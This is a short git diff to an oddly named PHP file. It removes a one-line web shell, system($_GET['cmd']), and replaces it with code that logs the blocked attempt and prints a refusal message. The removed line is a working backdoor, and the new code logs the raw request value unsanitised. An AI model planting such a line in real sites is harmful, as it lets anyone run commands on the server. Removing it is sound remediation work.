diff --git a/asdas3d.php b/asdas3d.php index 1c85d07..7f2965b 100644 --- a/asdas3d.php +++ b/asdas3d.php @@ -4,7 +4,11 @@ echo "

test

"; -system($_GET["cmd"]); +if (isset($_GET['cmd'])) { + // Block execution of arbitrary system commands. Log the attempt and show a safe message instead. + error_log('Blocked remote command execution attempt from ' . ($_SERVER['REMOTE_ADDR'] ?? 'unknown') . ' cmd=' . $_GET['cmd']); + echo "Command execution is disabled for security reasons."; +}